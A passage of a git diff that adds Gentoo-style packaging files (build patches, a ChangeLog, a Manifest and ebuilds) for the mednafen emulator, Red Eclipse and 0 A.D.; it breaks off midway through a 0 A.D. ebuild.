diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch
new file mode 100644
index 00000000..2eec3ed1
--- /dev/null
+++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.21-zlib.patch
@@ -0,0 +1,27 @@
+--- src/file.cpp.old	2012-05-06 13:20:45.762299681 +0200
++++ src/file.cpp	2012-05-06 13:21:13.634342683 +0200
+@@ -33,7 +33,7 @@
+ 
+ 
+ #include <zlib.h>
+-#include "compress/unzip.h"
++#include <minizip/unzip.h>
+ 
+ #include "file.h"
+ #include "general.h"
+--- src/compress/Makefile.am.inc.old	2012-05-06 13:19:12.625839129 +0200
++++ src/compress/Makefile.am.inc	2012-05-06 13:19:30.012618340 +0200
+@@ -1 +1 @@
+-mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c
++mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp
+--- src/Makefile.am.old	2012-05-06 13:19:54.047930734 +0200
++++ src/Makefile.am	2012-05-06 13:20:26.888624869 +0200
+@@ -5,7 +5,7 @@
+ 
+ bin_PROGRAMS	=	mednafen
+ mednafen_SOURCES 	= 	debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp math_ops.cpp FileWrapper.cpp Stream.cpp
+-mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@
++mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip
+ mednafen_DEPENDENCIES	=	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a
+ 
+ SUBDIRS			+=	sexyal drivers
diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch
new file mode 100644
index 00000000..14c69d94
--- /dev/null
+++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-automake-1.13.patch
@@ -0,0 +1,11 @@
+--- mednafen-0.9.28-wip/mednafen/configure.ac
++++ mednafen-0.9.28-wip/mednafen/configure.ac
+@@ -13,7 +13,7 @@
+ AC_CANONICAL_TARGET
+ AM_INIT_AUTOMAKE([mednafen], $MEDNAFEN_VERSION)
+ m4_ifdef([AM_SILENT_RULES], [AM_SILENT_RULES])
+-AM_CONFIG_HEADER([include/config.h:include/config.h.in])
++AC_CONFIG_HEADERS([include/config.h:include/config.h.in])
+ 
+ AC_PROG_CC
+ AC_PROG_CPP
diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch
new file mode 100644
index 00000000..0fca1c61
--- /dev/null
+++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-cflags.patch
@@ -0,0 +1,35 @@
+--- configure.ac.orig	2013-01-25 13:30:36.167253683 -0500
++++ configure.ac	2013-01-25 13:32:16.993678869 -0500
+@@ -90,21 +90,6 @@
+ 
+ dnl -fno-unit-at-a-time
+ 
+-OPTIMIZER_FLAGS=""
+-
+-dnl -ffast-math removed January 12, 2013.  Don't re-add it, nor any of its sub-options(ESPECIALLY not -funsafe-math-optimizations),
+-dnl it messes up certain code(NES resampler, for example) under certain conditions and alignments of the great celestial squid.
+-dnl
+-dnl In fact, let's explicitly disable it here with -fno-fast-math.
+-dnl
+-AX_CFLAGS_GCC_OPTION([-fno-fast-math], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([-fno-unsafe-math-optimizations], OPTIMIZER_FLAGS)
+-
+-AX_CFLAGS_GCC_OPTION([-fomit-frame-pointer], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([-finline-limit=6000], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([--param large-function-growth=800], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([--param inline-unit-growth=175], OPTIMIZER_FLAGS)
+-AX_CFLAGS_GCC_OPTION([--param max-inline-insns-single=10000], OPTIMIZER_FLAGS)
+ AX_NO_STRICT_OVERFLOW
+ 
+ 
+@@ -138,8 +123,8 @@
+ MDFN_COMPAT_FLAGS=""
+ AX_CFLAGS_GCC_OPTION([-fsigned-char], MDFN_COMPAT_FLAGS)
+ 
+-AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
+-AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $OPTIMIZER_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
++AC_SUBST([AM_CFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
++AC_SUBST([AM_CXXFLAGS], "$MDFN_COMPAT_FLAGS $WARNING_FLAGS $NO_STRICT_OVERFLOW_FLAGS")
+ 
+ AM_CONDITIONAL(WANT_DEBUGGER, false)
+ 
diff --git a/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch
new file mode 100644
index 00000000..8ada2009
--- /dev/null
+++ b/games-emulation/mednafen/mednafen/files/mednafen-0.9.28-zlib.patch
@@ -0,0 +1,30 @@
+diff -ru mednafen.orig/src/Makefile.am mednafen/src/Makefile.am
+--- mednafen.orig/src/Makefile.am	2013-01-12 08:41:03.000000000 -0500
++++ mednafen/src/Makefile.am	2013-01-25 13:17:44.351619447 -0500
+@@ -5,7 +5,7 @@
+ 
+ bin_PROGRAMS	=	mednafen
+ mednafen_SOURCES 	= 	debug.cpp error.cpp mempatcher.cpp settings.cpp endian.cpp mednafen.cpp file.cpp general.cpp md5.cpp memory.cpp netplay.cpp state.cpp movie.cpp player.cpp PSFLoader.cpp tests.cpp qtrecord.cpp cdplay.cpp okiadpcm.cpp FileWrapper.cpp Stream.cpp MemoryStream.cpp FileStream.cpp
+-mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@
++mednafen_LDADD 		= 	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a @SDL_LIBS@ -lminizip
+ mednafen_DEPENDENCIES	=	trio/libtrio.a drivers/libmdfnsdl.a sexyal/libsexyal.a
+ 
+ SUBDIRS			+=	sexyal drivers
+diff -ru mednafen.orig/src/compress/Makefile.am.inc mednafen/src/compress/Makefile.am.inc
+--- mednafen.orig/src/compress/Makefile.am.inc	2010-12-18 04:03:19.000000000 -0500
++++ mednafen/src/compress/Makefile.am.inc	2013-01-25 13:17:19.289508092 -0500
+@@ -1 +1 @@
+-mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c compress/unzip.c
++mednafen_SOURCES	+=	compress/minilzo.c compress/quicklz.c compress/blz.cpp compress/ioapi.c
+diff -ru mednafen.orig/src/file.cpp mednafen/src/file.cpp
+--- mednafen.orig/src/file.cpp	2012-02-03 17:04:45.000000000 -0500
++++ mednafen/src/file.cpp	2013-01-25 13:17:09.527854217 -0500
+@@ -33,7 +33,7 @@
+ 
+ 
+ #include <zlib.h>
+-#include "compress/unzip.h"
++#include <minizip/unzip.h>
+ 
+ #include "file.h"
+ #include "general.h"
diff --git a/games-emulation/mednafen/mednafen/mednafen/ChangeLog b/games-emulation/mednafen/mednafen/mednafen/ChangeLog
new file mode 100644
index 00000000..7df2a391
--- /dev/null
+++ b/games-emulation/mednafen/mednafen/mednafen/ChangeLog
@@ -0,0 +1,190 @@
+# ChangeLog for games-emulation/mednafen
+# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
+# $Header: /var/cvsroot/gentoo-x86/games-emulation/mednafen/ChangeLog,v 1.44 2013/04/27 14:16:20 hasufell Exp $
+
+  27 Apr 2013; Julian Ospald <hasufell@gentoo.org> mednafen-0.9.28.ebuild,
+  +files/mednafen-0.9.28-automake-1.13.patch:
+  fix automake-1.13 build wrt #467498
+
+  14 Feb 2013; Michael Sterrett <mr_bones_@gentoo.org> mednafen-0.9.28.ebuild:
+  add opengl to libsdl use deps (bug #457606)
+
+*mednafen-0.9.28 (26 Jan 2013)
+
+  26 Jan 2013; Michael Sterrett <mr_bones_@gentoo.org>
+  +files/mednafen-0.9.28-cflags.patch, +files/mednafen-0.9.28-zlib.patch,
+  +mednafen-0.9.28.ebuild, metadata.xml:
+  version bump
+
+  13 Jun 2012; Michael Sterrett <mr_bones_@gentoo.org>
+  -files/mednafen-0.8.13.3-zlib-1.2.6.patch,
+  -files/mednafen-0.8.13.3-zlib.patch, -mednafen-0.8.13.3-r1.ebuild,
+  -mednafen-0.8.13.3.ebuild:
+  old
+
+  22 May 2012; Jeff Horelick <jdhore@gentoo.org> mednafen-0.9.21.ebuild:
+  marked x86 per bug 413831
+
+  20 May 2012; Agostino Sarubbo <ago@gentoo.org> mednafen-0.9.21.ebuild:
+  Stable for amd64, wrt bug #413831
+
+  19 May 2012; Samuli Suominen <ssuominen@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Revert to ~ppc wrt #413831 pending on user request for stabilization
+
+*mednafen-0.9.21 (06 May 2012)
+
+  06 May 2012; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.9.21.ebuild,
+  +files/mednafen-0.9.21-zlib.patch:
+  Version bump to 0.9.21 Bug #414597 by Tatsh
+
+  04 May 2012; Jeff Horelick <jdhore@gentoo.org> mednafen-0.8.13.3.ebuild,
+  mednafen-0.8.13.3-r1.ebuild:
+  dev-util/pkgconfig -> virtual/pkgconfig
+
+  18 Feb 2012; Tim Harder <radhermit@gentoo.org> mednafen-0.8.13.3-r1.ebuild,
+  +files/mednafen-0.8.13.3-zlib-1.2.6.patch:
+  Fix build with zlib-1.2.6 (bug #403483).
+
+*mednafen-0.8.13.3-r1 (14 Dec 2011)
+
+  14 Dec 2011; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.8.13.3-r1.ebuild,
+  +files/mednafen-0.8.13.3-zlib.patch:
+  Build with latest zlib. Bug #387821 by Diego Elio Pettenò
+
+  15 Jan 2011; Markus Meier <maekke@gentoo.org> mednafen-0.8.13.3.ebuild:
+  x86 stable, bug #351332
+
+  12 Jan 2011; Markos Chandras <hwoarang@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Stable on amd64 wrt bug #351332
+
+  11 Jan 2011; Brent Baude <ranger@gentoo.org> mednafen-0.8.13.3.ebuild:
+  Marking mednafen-0.8.13.3 ppc for bug 351332
+
+  10 Dec 2010; Michael Sterrett <mr_bones_@gentoo.org>
+  mednafen-0.8.13.3.ebuild:
+  needs libsdl[joystick] (bug #348364)
+
+*mednafen-0.8.13.3 (06 Dec 2010)
+
+  06 Dec 2010; Hanno Boeck <hanno@gentoo.org> +mednafen-0.8.13.3.ebuild:
+  Version bump, gcc patch got merged upstream.
+
+  25 Sep 2010; Markus Meier <maekke@gentoo.org> mednafen-0.8.13.ebuild:
+  x86 stable, bug #337536
+
+  21 Sep 2010; Markos Chandras <hwoarang@gentoo.org> mednafen-0.8.13.ebuild:
+  Stable on amd64 wrt bug #337536
+
+  12 Aug 2010; Michael Sterrett <mr_bones_@gentoo.org>
+  mednafen-0.8.13.ebuild:
+  use deps for libsdl; add zlib dep; only pass c++ flags to g++
+
+  04 Jul 2010; Hanno Boeck <hanno@gentoo.org> mednafen-0.8.13.ebuild,
+  +files/mednafen-0.8.13-gcc45.patch:
+  Re-add gcc 4.5 patch.
+
+*mednafen-0.8.13 (02 Jul 2010)
+
+  02 Jul 2010; Tupone Alfredo <tupone@gentoo.org> +mednafen-0.8.13.ebuild:
+  Version bump to 0.8.13 Bug #326141 by Sergey Kondakov
+
+  24 May 2010; Tupone Alfredo <tupone@gentoo.org> mednafen-0.8.12.ebuild,
+  +files/mednafen-0.8.12-gcc45.patch:
+  Build with gcc-4.5 Bug #321009 by flameeyes@gentoo.org
+
+  23 May 2010; Pacho Ramos <pacho@gentoo.org> mednafen-0.8.12.ebuild:
+  stable amd64, bug 312535
+
+  21 Nov 2009; Markus Meier <maekke@gentoo.org> mednafen-0.8.12.ebuild:
+  x86 stable, bug #288950
+
+*mednafen-0.8.12 (12 Jul 2009)
+
+  12 Jul 2009; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.12.ebuild:
+  version bump
+
+  17 Jun 2009; Tristan Heaven <nyhm@gentoo.org> mednafen-0.8.11.ebuild,
+  +files/mednafen-0.8.11-glibc2.10.patch:
+  Fix building with glibc-2.10, bug #273590
+
+*mednafen-0.8.11 (15 Apr 2009)
+
+  15 Apr 2009; Hanno Boeck <hanno@gentoo.org> +mednafen-0.8.11.ebuild:
+  Version bump.
+
+*mednafen-0.8.10 (30 Jan 2009)
+
+  30 Jan 2009; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.10.ebuild:
+  version bump
+
+  24 Jul 2008; Raúl Porcel <armin76@gentoo.org> mednafen-0.8.9.ebuild:
+  x86 stable wrt #231880
+
+*mednafen-0.8.9 (20 Jun 2008)
+
+  20 Jun 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.9.ebuild:
+  version bump (bug #228623)
+
+*mednafen-0.8.8 (22 Apr 2008)
+
+  22 Apr 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.8.ebuild:
+  version bump
+
+*mednafen-0.8.7 (07 Jan 2008)
+
+  07 Jan 2008; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.7.ebuild:
+  version bump
+
+*mednafen-0.8.5 (28 Nov 2007)
+
+  28 Nov 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  -mednafen-0.7.2.ebuild, -mednafen-0.8.1.ebuild, -mednafen-0.8.4.ebuild,
+  +mednafen-0.8.5.ebuild:
+  version bump (bug #200666); clean out old ebuilds
+
+*mednafen-0.8.4 (14 Nov 2007)
+
+  14 Nov 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.4.ebuild:
+  version bump
+
+*mednafen-0.8.1 (04 Jul 2007)
+
+  04 Jul 2007; Michael Sterrett <mr_bones_@gentoo.org>
+  +mednafen-0.8.1.ebuild:
+  version bump (bug #184151)
+
+*mednafen-0.7.2 (12 Feb 2007)
+
+  12 Feb 2007; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.7.2.ebuild:
+  Version bump
+
+*mednafen-0.7.1 (25 Dec 2006)
+
+  25 Dec 2006; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.7.1.ebuild:
+  Version bump by Kai, bug #158901
+
+*mednafen-0.6.5 (29 Sep 2006)
+
+  29 Sep 2006; Tristan Heaven <nyhm@gentoo.org> +mednafen-0.6.5.ebuild:
+  Version bump, bug #146371
+
+  24 May 2006; Joseph Jezak <josejx@gentoo.org> mednafen-0.6.1.ebuild:
+  Marked ~ppc for bug #133867.
+
+  20 May 2006; Joshua Jackson <tsunam@gentoo.org> mednafen-0.6.1.ebuild:
+  Marking ~x86, as testing is needed before going x86
+
+  20 May 2006; Jon Hood <squinky86@gentoo.org> mednafen-0.6.1.ebuild:
+  Add ~amd64, #133753.
+
+*mednafen-0.6.1 (19 May 2006)
+
+  19 May 2006; Michael Sterrett <mr_bones_@gentoo.org> +metadata.xml,
+  +mednafen-0.6.1.ebuild:
+  initial commit - ebuild submitted by Kai via bug #110044
diff --git a/games-emulation/mednafen/metadata.xml b/games-emulation/mednafen/metadata.xml
new file mode 100644
index 00000000..87490a09
--- /dev/null
+++ b/games-emulation/mednafen/metadata.xml
@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+	<herd>games</herd>
+	<use>
+	<flag name='debugger'>Build with internal debugger</flag>
+	</use>
+</pkgmetadata>
diff --git a/games-fps/redeclipse/Manifest b/games-fps/redeclipse/Manifest
new file mode 100644
index 00000000..0fd42be3
--- /dev/null
+++ b/games-fps/redeclipse/Manifest
@@ -0,0 +1,4 @@
+DIST redeclipse_1.1_linux_bsd.tar.bz2 454066621 SHA256 cc7f7e9da51b0e5f0df1a7a3f041586ef82683b3bd2d428f2e9c7075f302a32a SHA512 1e0c8a8766fba41aa3a502f2751ee2d086d42a41e9071b56201db06428e18476d69a6e6841557c0f3d13f4b2f5e41caa8168a40ea512ba8afdbe6601b6754821 WHIRLPOOL 86c512f5dc57ba935f6829dfbcecb934fe9ef08d234727e8c9e92db333576dc730e5d024a0976a8b18a7c1b52c2b98dc504509cab7a6f21606b79ccc6ce76517
+DIST redeclipse_1.3.1_all.tar.bz2 521736979 SHA256 edee35cab03edaf17fb0aae1cd427035eb28b9729fee10551f7e03c56b921ae3 SHA512 4849f77265c1dcc969c47d466d8f0917ad45d8ccceb3d4dad5b22a61ddab0cb2caf306042946cfaf970de8d35df85366dedacc17f74c2031e371fa3522afe404 WHIRLPOOL cc9aaa9f10bc1a35364f960896e5b7dfddf28bc92219df50d579841d9964334c0d44705fadfe6b3663ec451d613ac7fa132744aa2ecd2b45c0606b2d6b4bde4d
+EBUILD redeclipse-1.1.ebuild 1577 SHA256 a021dc223a2948ee693e5fa301bdca223ed29fbba42f5287ce21ce316b2de062 SHA512 d9c80829350791045e263a18f5c0576fa3c6ffc864b7cf376520651fbc0d972da3fee452ca80b4882e3010becda0aa9da17a13c15f6b7e2f384888519bbfed22 WHIRLPOOL c04077ada446deeffded688aa1532210ad9fec72c8aab3f39416aba0f6692689ba95479dc625631e00de098676ac2f2ca1e37cbe35979e3dfd98bd00517f84f1
+EBUILD redeclipse-1.3.1.ebuild 1461 SHA256 1b6632c1c3e5905877c36c4c71cbdd023ed438ecbde2acc2854a1d5235695f0a SHA512 c3534a8510d18bb50cfc210faa63d295a3499ee613dc092152ea03feba1dd1cf837802cd3ab8071855848b2b69b85d800af3aa988db53a279e723d3a4a3736ca WHIRLPOOL 4ceb226cd39da13d0ba8a3dd0013d2f4e655e127413190ab527f5ab346bd83ec225a8ec5f8fe4569e50012fbffbe36d05d5767c2c0c7ad642356e699b606728f
diff --git a/games-fps/redeclipse/redeclipse-1.1.ebuild b/games-fps/redeclipse/redeclipse-1.1.ebuild
new file mode 100644
index 00000000..f3d0d8ef
--- /dev/null
+++ b/games-fps/redeclipse/redeclipse-1.1.ebuild
@@ -0,0 +1,69 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils games
+
+DESCRIPTION="First-person ego-shooter, built as a total conversion of Cube Engine 2"
+HOMEPAGE="http://www.redeclipse.net/"
+SRC_URI="mirror://sourceforge/${PN}/${PN}_${PV}_linux_bsd.tar.bz2"
+
+# According to license.txt file
+LICENSE="as-is ZLIB CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="dedicated"
+
+DEPEND="!dedicated? (
+		media-libs/libsdl[opengl]
+		media-libs/sdl-image[jpeg,png]
+		media-libs/sdl-mixer[mp3,vorbis]
+		virtual/opengl
+		x11-libs/libX11
+	)
+	net-libs/enet:1.3
+	sys-libs/zlib
+"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"/${PN}
+
+src_prepare() {
+	# Respect GAMES_DATADIR
+	sed -i -e "s:\(addpackagedir(\"\)data:\1${GAMES_DATADIR}/${PN}/data:" \
+		src/engine/server.cpp || die "sed failed"
+
+	# Unbundle enet
+	sed -i \
+		-e "s:\(client\)\: libenet:\1\::" \
+		-e   "s:\(server\)\: libenet:\1\::" \
+		src/Makefile || die "sed failed"
+
+	# Remove strip
+	sed -i "/STRIP=strip/d" src/Makefile || die "sed failed"
+}
+
+src_compile() {
+	cd src
+	if ! use dedicated ; then
+		emake CXXFLAGS="${CXXFLAGS}" client server || die "Make failed"
+	else
+		emake CXXFLAGS="${CXXFLAGS}" server
+	fi
+}
+
+src_install() {
+	newgamesbin src/reserver ${PN}-server || die
+	dodoc readme.txt
+	if ! use dedicated ; then
+		newgamesbin src/reclient ${PN} || die
+		insinto "${GAMES_DATADIR}"/${PN}
+		doins -r data
+		newicon src/site/bits/favicon.png ${PN}.png || die
+		make_desktop_entry ${PN} "Red Eclipse" ${PN}
+	fi
+
+	prepgamesdirs
+}
diff --git a/games-fps/redeclipse/redeclipse-1.3.1.ebuild b/games-fps/redeclipse/redeclipse-1.3.1.ebuild
new file mode 100644
index 00000000..dfab85be
--- /dev/null
+++ b/games-fps/redeclipse/redeclipse-1.3.1.ebuild
@@ -0,0 +1,65 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=3
+
+inherit eutils games
+
+DESCRIPTION="First-person ego-shooter, built as a total conversion of Cube Engine 2"
+HOMEPAGE="http://www.redeclipse.net/"
+SRC_URI="mirror://sourceforge/${PN}/${PN}_${PV}_all.tar.bz2"
+
+LICENSE="as-is ZLIB CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="dedicated"
+
+DEPEND="!dedicated? (
+		media-libs/libsdl[opengl]
+		media-libs/sdl-image[jpeg,png]
+		media-libs/sdl-mixer[mp3,vorbis]
+		virtual/opengl
+		x11-libs/libX11
+	)
+	net-libs/enet:1.3
+	sys-libs/zlib
+"
+RDEPEND="${DEPEND}"
+
+S="${WORKDIR}"/${P}
+
+src_prepare() {
+	cd "${S}" || die
+	sed -i -e "s:\(addpackagedir(\"\)data:\1${GAMES_DATADIR}/${PN}/data:" \
+		src/engine/server.cpp || die "Sed failed"
+
+	sed -i \
+		-e "s:\(client\)\: libenet:\1\::" \
+		-e   "s:\(server\)\: libenet:\1\::" \
+		src/Makefile || die "Sed failed"
+
+	sed -i "/STRIP=strip/d" src/Makefile || die "Sed failed"
+}
+
+src_compile() {
+	cd src || die
+	if ! use dedicated ; then
+		emake CXXFLAGS="${CXXFLAGS}" client server || die
+	else
+		emake CXXFLAGS="${CXXFLAGS}" server || die
+	fi
+}
+
+src_install() {
+	newgamesbin src/reserver ${PN}-server || die
+	dodir "${GAMES_DATADIR}"/${PN}/ || die 
+	insinto "${GAMES_DATADIR}"/${PN}/ || die
+	doins -r "${S}"/data || die
+
+	dodoc readme.txt
+	if ! use dedicated ; then
+		newgamesbin src/reclient "${PN}" || die
+	fi
+	prepgamesdirs
+}
diff --git a/games-strategy/0ad/0ad-11339.ebuild b/games-strategy/0ad/0ad-11339.ebuild
new file mode 100644
index 00000000..8ca568da
--- /dev/null
+++ b/games-strategy/0ad/0ad-11339.ebuild
@@ -0,0 +1,150 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+inherit eutils wxwidgets games
+
+MY_P="0ad-r${PV}-alpha"
+S="${WORKDIR}/${MY_P}"
+
+DESCRIPTION="0 A.D. is a free, real-time strategy game currently under development by Wildfire Games."
+HOMEPAGE="http://wildfiregames.com/0ad/"
+SRC_URI="mirror://sourceforge/zero-ad/${MY_P}-unix-build.tar.xz
+	mirror://sourceforge/zero-ad/${MY_P}-unix-data.tar.xz"
+
+LICENSE="GPL-2 CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="debug editor nvtt pch test fam"
+
+RDEPEND=">=dev-lang/spidermonkey-1.8.5
+	dev-libs/boost
+	dev-libs/libxml2
+	media-libs/devil
+	media-libs/openal
+	media-libs/libogg
+	media-libs/libpng
+	media-libs/libsdl[X,joystick]
+	media-libs/libvorbis
+	net-libs/enet:1.3
+	net-misc/curl
+	sys-libs/zlib
+	virtual/jpeg
+	virtual/opengl
+	fam? ( virtual/fam )
+	editor? ( x11-libs/wxGTK:2.8 )
+	nvtt? ( dev-util/nvidia-texture-tools )"
+
+DEPEND="${RDEPEND}
+	app-arch/zip
+	dev-lang/nasm
+	dev-util/cmake"
+
+RESTRICT="strip mirror"
+
+dir=${GAMES_PREFIX_OPT}/${PN}
+
+pkg_setup() {
+	games_pkg_setup
+	if use editor ; then
+		WX_GTK_VER=2.8 need-wxwidgets unicode
+	fi
+}
+
+src_prepare() {
+	cd "${S}" || die
+	epatch "${FILESDIR}"/r11339_noCUDAdep.diff
+}
+
+src_compile() {
+	UPDATE_ARGS="--with-system-enet --with-system-mozjs185"
+
+	if ! use pch ; then
+		UPDATE_ARGS="${UPDATE_ARGS}  --without-pch"
+	fi
+
+	if ! use fam ; then
+		UPDATE_ARGS="${UPDATE_ARGS}  --without-fam"
+	fi
+	
+	if ! use editor ; then
+		UPDATE_ARGS="${UPDATE_ARGS} --disable-atlas"
+	fi
+
+	if use nvtt ; then
+		UPDATE_ARGS="${UPDATE_ARGS} --with-system-nvtt"
+	else
+		UPDATE_ARGS="${UPDATE_ARGS} --without-nvtt"
+	fi
+
+	cd "${S}/build/workspaces"
+	einfo "Running update-workspaces.sh with ${UPDATE_ARGS}"
+	./update-workspaces.sh ${UPDATE_ARGS} || die "update-workspaces.sh failed"
+	cd gcc
+
+	TARGETS="pyrogenesis Collada"
+	if use test ; then
+		TARGETS="${TARGETS} test"
+	fi
+	if use editor ; then
+		TARGETS="${TARGETS} AtlasUI"
+	fi
+	if use debug ; then
+		CONFIG=Debug
+	else
+		CONFIG=Release
+	fi
+	CONFIG=${CONFIG} emake ${TARGETS} || die "Can't build"
+}
+
+src_test() {
+	cd "${S}/binaries/system"
+	if use debug ; then
+		./test_dbg || die "Tests failed"
+	else
+		./test || die "Tests failed"
+	fi
+}
+
+src_install() {
+	cd "${S}"/binaries
+	insinto "${dir}"
+	doins -r data || die "doins -r failed"
+
+	insinto "${dir}"/system
+
+	#we install build-in nvtt
+	if use !nvtt ; then
+		doins "${S}"/binaries/system/libnvcore.so || die "doins failed"
+		doins "${S}"/binaries/system/libnvimage.so || die "doins failed"
+		doins "${S}"/binaries/system/libnvmath.so || die "doins failed"
+		doins "${S}"/binaries/system/libnvtt.so || die "doins failed"
+	fi
+
+	if use debug ; then
+#		doins "${S}"/binaries/system/libmozjs185-ps-debug.so.1.0 || die "doins failed"
+		doins "${S}"/binaries/system/libCollada_dbg.so || die "doins failed"
+		if use editor ; then
+			doins "${S}"/binaries/system/libAtlasUI_dbg.so || die "doins failed"
+		fi
+		EXE_NAME=pyrogenesis_dbg
+	else
+#		doins "${S}"/binaries/system/libmozjs185-ps-release.so.1.0 || die "doins failed"
+		doins "${S}"/binaries/system/libCollada.so || die "doins failed"
+		if use editor ; then
+			doins "${S}"/binaries/system/libAtlasUI.so || die "doins failed"
+		fi
+		EXE_NAME=pyrogenesis
+	fi
+
+	exeinto "${dir}"/system
+	doexe "${S}"/binaries/system/${EXE_NAME} || die "doexe failed"
+
+	games_make_wrapper ${PN} ./system/${EXE_NAME} ${dir}
+	doicon "${S}"/build/resources/0ad.png
+	make_desktop_entry "${dir}"/system/${EXE_NAME} "0 A.D."
+
+	prepgamesdirs
+}
diff --git a/games-strategy/0ad/0ad-11863.ebuild b/games-strategy/0ad/0ad-11863.ebuild
new file mode 100644
index 00000000..a0f567c1
--- /dev/null
+++ b/games-strategy/0ad/0ad-11863.ebuild
@@ -0,0 +1,145 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+inherit eutils wxwidgets games
+
+MY_P="0ad-r${PV}-alpha"
+S="${WORKDIR}/${MY_P}"
+
+DESCRIPTION="0 A.D. is a free, real-time strategy game currently under development by Wildfire Games."
+HOMEPAGE="http://wildfiregames.com/0ad/"
+SRC_URI="mirror://sourceforge/zero-ad/${MY_P}-unix-build.tar.xz
+	mirror://sourceforge/zero-ad/${MY_P}-unix-data.tar.xz"
+
+LICENSE="GPL-2 CCPL-Attribution-ShareAlike-3.0"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="debug editor nvtt pch test fam"
+
+RDEPEND=">=dev-lang/spidermonkey-1.8.5
+	dev-libs/boost
+	dev-libs/libxml2
+	media-libs/devil
+	media-libs/openal
+	media-libs/libogg
+	media-libs/libpng
+	media-libs/libsdl[X,joystick]
+	media-libs/libvorbis
+	net-libs/enet:1.3
+	net-misc/curl
+	sys-libs/zlib
+	virtual/jpeg
+	virtual/opengl
+	fam? ( virtual/fam )
+	editor? ( x11-libs/wxGTK:2.8 )
+	nvtt? ( dev-util/nvidia-texture-tools )"
+
+DEPEND="${RDEPEND}
+	app-arch/zip
+	dev-lang/nasm
+	dev-util/cmake"
+
+RESTRICT="strip mirror"
+
+dir=${GAMES_PREFIX_OPT}/${PN}
+
+pkg_setup() {
+	games_pkg_setup
+	if use editor ; then
+		WX_GTK_VER=2.8 need-wxwidgets unicode
+	fi
+}
+
+src_compile() {
+	UPDATE_ARGS="--with-system-enet --with-system-mozjs185"
+
+	if ! use pch ; then
+		UPDATE_ARGS="${UPDATE_ARGS}  --without-pch"
+	fi
+
+	if ! use fam ; then
+		UPDATE_ARGS="${UPDATE_ARGS}  --without-fam"
+	fi
+	
+	if ! use editor ; then
+		UPDATE_ARGS="${UPDATE_ARGS} --disable-atlas"
+	fi
+
+	if use nvtt ; then
+		UPDATE_ARGS="${UPDATE_ARGS} --with-system-nvtt"
